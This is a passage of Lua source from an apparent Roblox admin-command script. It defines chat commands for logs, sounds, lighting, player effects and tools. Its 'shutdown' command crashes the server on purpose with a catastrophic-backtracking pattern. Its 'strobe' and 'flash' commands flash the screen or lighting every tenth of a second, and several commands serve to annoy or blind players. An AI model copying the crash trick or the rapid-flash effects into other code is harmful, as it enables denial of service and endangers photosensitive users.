6385 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6386 CommandLogs = {}
6387 end};
6388
6389 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6390 ChatLogs = {}
6391 end};
6392
6393 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6394 IRC.Logs = {}
6395 end};
6396
6397 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6398 CommandLogs = {}
6399 ChatLogs = {}
6400 IRC.Logs = {}
6401 end};
6402
6403 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6404 Server.GDS:SetAsync("ExploitLog", {})
6405 end};
6406
6407 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6408 local List,Correlate,SoundName = {},{},{}
6409 for Name,Info in pairs(SoundList) do
6410 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6411 table.insert(List, View)
6412 Correlate[View] = Info[1]
6413 end
6414
6415 local CanClick = true
6416 if Rank == "Member" then CanClick = false end
6417 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6418 Clicked.Event:connect(function(ClickName)
6419 local OldSoundId = nil
6420 SOUND:StopGlobalSound()
6421 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6422 SOUND:PlayGlobalSound(Correlate[ClickName])
6423 end
6424 end)
6425 end};
6426
6427 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6428 SOUND:SyncSoundList(Speaker)
6429 end};
6430
6431 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6432 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6433 if Answer == "Yes" then
6434 Server.Workspace.Terrain:Clear()
6435 end
6436 end};
6437
6438 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6439 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6440 if Answer == "Yes" then
6441 for _,Obj in pairs(Workspace:GetChildren()) do
6442 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6443 Obj:Destroy()
6444 end
6445 end
6446 end
6447 end};
6448
6449 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6450 CORE:MakeBase()
6451 end};
6452
6453 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6454 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6455 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6456 CustomSounds = {}
6457 end
6458 if tostring(Arguments[1]) then
6459 local Request = MARKET:GetItemInfo(Arguments[1])
6460 if Request.AssetTypeId == 3 then
6461 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6462 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6463 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6464 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6465 else
6466 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6467 end
6468 end
6469 end};
6470
6471 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6472 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6473 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6474 CustomSounds = {}
6475 end
6476
6477 local Removed = {}
6478 for Num,Data in pairs(CustomSounds) do
6479 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6480 table.insert(Removed, Data[1])
6481 table.remove(CustomSounds, Num)
6482 end
6483 end
6484
6485 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6486
6487 SOUND:SyncSoundList()
6488
6489 if #Removed > 0 then
6490 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6491 else
6492 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6493 end
6494 end};
6495
6496 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6497 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6498 if Answer == "Yes" then
6499 Server.GDS:SetAsync("MML Custom Sounds", {})
6500 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6501 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6502 end
6503 end};
6504
6505 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6506 local Players = STRING:Scan(Arguments[1], Speaker)
6507 local SpeakerTesting = false
6508 for _,Player in pairs(Players) do
6509 if Player == Speaker then SpeakerTesting = true end
6510 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6511 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6512 --wait(10)
6513 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6514 end)() end
6515 end
6516 if SpeakerTesting == false then
6517 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6518 end
6519 end};
6520
6521 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6522 local Players = STRING:Scan(Arguments[1], Speaker)
6523 local Compile = {}
6524 for _,Player in pairs(Players) do
6525 local PlayerInfo = ClientInfo[Player.Name]
6526 if PlayerInfo then
6527 if PlayerInfo.Benchmark then
6528 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6529 else
6530 table.insert(Compile, Player.Name..": No score")
6531 end
6532 end
6533 end
6534 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6535 end};
6536
6537 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6538 local Players = STRING:Scan(Arguments[1], Speaker)
6539 for _,Player in pairs(Players) do
6540 CORE:Chatted(Arguments[2], Player, true)
6541 end
6542 end};
6543
6544 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6545 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6546 end};
6547
6548 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6549 local Players = STRING:Scan(Arguments[1], Speaker)
6550 for _,Player in pairs(Players) do
6551 if Player.Character ~= nil then
6552 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6553 if Player.Character.Torso:FindFirstChild("Neck") then
6554 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6555 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6556 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6557 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
6558 local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
6559 end
6560 end
6561 end
6562 end
6563 end};
6564
6565 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6566 local Players = STRING:Scan(Arguments[1], Speaker)
6567 for _,Player in pairs(Players) do
6568 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6569 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6570 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6571 end
6572 end
6573 end};
6574
6575 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6576 local Players = STRING:Scan(Arguments[1], Speaker)
6577 for _,Player in pairs(Players) do
6578 local _,RankNum = RANK:GetRank(Player)
6579 if RankNum <= RANK:ConvertRank(Rank) then
6580 CORE:FlingPlayer(Player)
6581 end
6582 end
6583 end};
6584
6585 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6586 local Players = STRING:Scan(Arguments[1], Speaker)
6587 for _,Player in pairs(Players) do
6588 local _,RankNum = RANK:GetRank(Player)
6589 if RankNum <= RANK:ConvertRank(Rank) then
6590 Flings[Player.Name] = true
6591 CORE:FlingPlayer(Player)
6592 end
6593 end
6594 end};
6595
6596 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6597 local Players = STRING:Scan(Arguments[1], Speaker)
6598 for _,Player in pairs(Players) do
6599 local _,RankNum = RANK:GetRank(Player)
6600 if RankNum <= RANK:ConvertRank(Rank) then
6601 Flings[Player.Name] = nil
6602 end
6603 end
6604 end};
6605
6606 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6607 local Players = STRING:Scan(Arguments[1], Speaker)
6608 for _,Player in pairs(Players) do
6609 CORE:Nuke(Player)
6610 end
6611 end};
6612
6613 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6614 local Players = STRING:Scan(Arguments[1], Speaker)
6615 for _,Player in pairs(Players) do
6616 Beeps[Player.Name] = true
6617 SOUND:BeepPlayer(Player)
6618 end
6619 end};
6620
6621 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6622 local Players = STRING:Scan(Arguments[1], Speaker)
6623 for _,Player in pairs(Players) do
6624 if Player.PlayerGui then
6625 Beeps[Player.Name] = nil
6626 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6627 if Obj.Name == "Annoy" then
6628 Obj:Stop()
6629 Obj:Destroy()
6630 end
6631 end
6632 end
6633 end
6634 end};
6635
6636 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6637 local Time = Arguments[1]
6638 if Time == "day" or Time == "noon" then Time = "12" end
6639 if Time == "night" or Time == "midnight" then Time = "0" end
6640 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6641 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6642 if Time == "afternoon" then Time = "15:30" end
6643 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6644 end};
6645
6646 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6647 local Players = STRING:Scan(Arguments[1], Speaker)
6648 for _,Player in pairs(Players) do
6649 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6650 end
6651 end};
6652
6653 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6654 local AbuseMode = false
6655 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6656 local Players = STRING:Scan(Arguments[1], Speaker)
6657 for _,Player in pairs(Players) do
6658 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6659 end
6660 end};
6661
6662 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6663 local Players = STRING:Scan(Arguments[1], Speaker)
6664 for _,Player in pairs(Players) do
6665 CORE:Insert(125013769, Player.Backpack, true)
6666 end
6667 end};
6668
6669 [{"accessory", "acs", "hat"}] = {"player ID", "Gives player the accessory with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6670 local Players = STRING:Scan(Arguments[1], Speaker)
6671 for _,Player in pairs(Players) do
6672 if Player.Character then
6673 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6674 end
6675 end
6676 end};
6677
6678 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6679 CORE:ResetLighting()
6680 repeat
6681 Server.Lighting.Ambient = Color3.new(1,1,1)
6682 Server.Lighting.FogColor = Color3.new(1,1,1)
6683 Server.Lighting.Brightness = 1
6684 Server.Lighting.TimeOfDay = 14
6685 wait(0.1)
6686 Server.Lighting.Ambient = Color3.new(0,0,0)
6687 Server.Lighting.FogColor = Color3.new(0,0,0)
6688 Server.Lighting.Brightness = 0
6689 Server.Lighting.TimeOfDay = 0
6690 wait(0.1)
6691 until ModLighting == false
6692 end};
6693
6694 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6695 CORE:ResetLighting()
6696 repeat
6697 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6698 Server.Lighting.Ambient = Color
6699 Server.Lighting.FogColor = Color
6700 Server.Lighting.TimeOfDay = 0
6701 Server.Lighting.FogEnd = 500
6702 wait(0.1)
6703 until ModLighting == false
6704 end};
6705
6706 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6707 CORE:FixLighting()
6708 end};
6709
6710 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6711 local Players = STRING:Scan(Arguments[1], Speaker)
6712 for _,Player in pairs(Players) do
6713 if Player:FindFirstChild("PlayerGui") then
6714 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6715 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6716 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6717 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6718 end
6719 end
6720 end};
6721
6722 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6723 local Players = STRING:Scan(Arguments[1], Speaker)
6724 for _,Player in pairs(Players) do
6725 if Player:FindFirstChild("PlayerGui") then
6726 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6727 end
6728 end
6729 end};
6730
6731 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6732 local Players = STRING:Scan(Arguments[1], Speaker)
6733 for _,Player in pairs(Players) do
6734 if Player:FindFirstChild("PlayerGui") then
6735 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6736 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6737 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6738 end
6739 end
6740 end};
6741
6742 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6743 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6744 if Suc then
6745 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6746 else
6747 Server.TS:Teleport(game.PlaceId, Speaker)
6748 end
6749 end};
6750
6751 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6752 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6753 end};
6754
6755 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6756 local NewAbuse = Arguments[1]
6757 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6758 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6759 end
6760
6761 local Match = false
6762 for _,AbuseCmd in pairs(Settings.AbuseList) do
6763 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6764 Match = true
6765 break
6766 end
6767 end
6768 if not Match then
6769 table.insert(Settings.AbuseList, NewAbuse)
6770 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6771 else
6772 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6773 end
6774 CORE:SetAbuseCommands()
6775 end};
6776
6777 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6778 local NewAbuse = Arguments[1]
6779 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6780 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6781 end
6782
6783 local Removed = false
6784 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6785 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6786 Removed = true
6787 table.remove(Settings.AbuseList, Num)
6788 end
6789 end
6790 if Removed then
6791 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6792 else
6793 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6794 end
6795 CORE:SetAbuseCommands()
6796 end};
6797
6798 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6799 local Players = STRING:Scan(Arguments[1], Speaker)
6800 for _,Player in pairs(Players) do
6801 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6802 Player.Character.Humanoid.MaxHealth = math.huge
6803 Player.Character.Humanoid.Health = math.huge
6804 end
6805 end
6806 end};
6807
6808 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6809 local Players = STRING:Scan(Arguments[1], Speaker)
6810 for _,Player in pairs(Players) do
6811 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6812 if Player.Character.Humanoid.MaxHealth == math.huge then
6813 Player.Character.Humanoid.MaxHealth = 100
6814 Player.Character.Humanoid.Health = 100
6815 else
6816 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6817 end
6818 end
6819 end
6820 end};
6821
6822 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6823 local Players = STRING:Scan(Arguments[1], Speaker)
6824 for _,Player in pairs(Players) do
6825 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6826 local Char = Player.Character
6827 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6828 end
6829 end
6830 end};
6831
6832 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6833 if tonumber(Arguments[2]) then
6834 local Players = STRING:Scan(Arguments[1], Speaker)
6835 for _,Player in pairs(Players) do
6836 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6837 Player.Character.Humanoid.Health = Arguments[2]
6838 end
6839 end
6840 end
6841 end};
6842
6843 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6844 if tonumber(Arguments[2]) then
6845 local Players = STRING:Scan(Arguments[1], Speaker)
6846 for _,Player in pairs(Players) do
6847 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6848 local Speed = tonumber(Arguments[2])
6849 if Speed then
6850 if Rank == "Member" then
6851 if Speed > 1000 then Speed = 1000
6852 elseif Speed < -1000 then Speed = -1000 end
6853 end
6854 Player.Character.Humanoid.WalkSpeed = Speed
6855 end
6856 end
6857 end
6858 end
6859 end};
6860
6861 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6862 if tonumber(Arguments[2]) then
6863 local Players = STRING:Scan(Arguments[1], Speaker)
6864 for _,Player in pairs(Players) do
6865 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6866 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6867 end
6868 end
6869 end
6870 end};
6871
6872 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6873 local Players = STRING:Scan(Arguments[1], Speaker)
6874 for _,Player in pairs(Players) do
6875 CORE:Fly(Player, 10000)
6876 end
6877 end};
6878
6879 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6880 local Players = STRING:Scan(Arguments[1], Speaker)
6881 for _,Player in pairs(Players) do
6882 CORE:Fly(Player, 1000000)
6883 end
6884 end};
6885
6886 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6887 local Players = STRING:Scan(Arguments[1], Speaker)
6888 for _,Player in pairs(Players) do
6889 if Player.Character then
6890 if Player.Character:FindFirstChild("StopMMLFly") then
6891 Player.Character.StopMMLFly:InvokeClient(Player)
6892 end
6893 end
6894 end
6895 end};
6896
6897 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6898 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},{}
6899 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6900 end};
6901
6902 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6903 local Players = STRING:Scan(Arguments[1], Speaker)
6904 for _,Player in pairs(Players) do
6905 CORE:GiveTools(Player, Arguments[2])
6906 end
6907 end};
6908
6909 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6910 local List = {}
6911 for _,Region in pairs(ToolRegions) do
6912 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6913 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6914 end)
6915 end
6916
6917 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6918 end};
6919
6920 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6921 local Players = STRING:Scan(Arguments[1], Speaker)
6922 for _,Player in pairs(Players) do
6923 CORE:GiveTools(Player, "btools")
6924 end
6925 end};
6926
6927 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6928 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6929 for _,Player in pairs(Server.Players:GetPlayers()) do
6930 Player:Kick()
6931 end
6932 Server.Workspace:ClearAllChildren()
6933 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6934 end};
6935
6936 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6937 local Players = STRING:Scan(Arguments[1], Speaker)
6938 for _,Player in pairs(Players) do
6939 CORE:Scale(Player, Arguments[2])
6940 end
6941 end};
6942
6943 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6944 local Players = STRING:Scan(Arguments[1], Speaker)
6945 for _,Player in pairs(Players) do
6946 CORE:Scale(Player, 50)
6947 end
6948 end};
6949
6950 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6951 local Players = STRING:Scan(Arguments[1], Speaker)
6952 for _,Player in pairs(Players) do
6953 CORE:Scale(Player, 70)
6954 end
6955 end, Hidden = true};
6956
6957 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6958 local Players = STRING:Scan(Arguments[1], Speaker)
6959 for _,Player in pairs(Players) do
6960 CORE:Scale(Player, 500)
6961 end
6962 end};
6963
6964 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6965 local Players = STRING:Scan(Arguments[1], Speaker)
6966 for _,Player in pairs(Players) do
6967 if Player.Character then
6968 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6969 Obj.Reflectance = 0.5
6970 Obj.BrickColor = BrickColor.new("New Yeller")
6971 end)
6972 end
6973 end
6974 end};
6975
6976 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6977 local Players = STRING:Scan(Arguments[1], Speaker)
6978 for _,Player in pairs(Players) do
6979 if Player.Character then
6980 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6981 Obj.Reflectance = 0.5
6982 end)
6983 end
6984 end
6985 end};
6986
6987 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6988 local Players = STRING:Scan(Arguments[1], Speaker)
6989 for _,Player in pairs(Players) do
6990 if Player.Character then
6991 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6992 Obj.Transparency = 0.5
6993 Obj.Reflectance = 0
6994 Obj.BrickColor = BrickColor.new("Institutional white")
6995 end)
6996 CORE:ScanItems(Player.Character, {"Texture", "Decal"}, function(Obj)
6997 Obj.Transparency = 0.5
6998 end)
6999 end
7000 end
7001 end};
7002
7003 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
7004 local Players = STRING:Scan(Arguments[1], Speaker)
7005 for _,Player in pairs(Players) do
7006 if Player.Character then
7007 for _,Obj in pairs(Player.Character:GetChildren()) do
7008 local Valid = false
7009 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
7010 if Valid == true then Obj:Destroy() end
7011 end
7012 end
7013 end
7014 end};
7015
7016 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
7017 local Players = STRING:Scan(Arguments[1], Speaker)
7018 for _,Player in pairs(Players) do
7019 if Player.Character then
7020 for _,Obj in pairs(Player.Character:GetChildren()) do
7021 local Valid = false
7022 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
7023 if Valid == true then Obj:Destroy() end
7024 end
7025 end
7026 end
7027 end};
7028
7029 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
7030 local Players = STRING:Scan(Arguments[1], Speaker)
7031 for _,Player in pairs(Players) do
7032 if Player.Character then
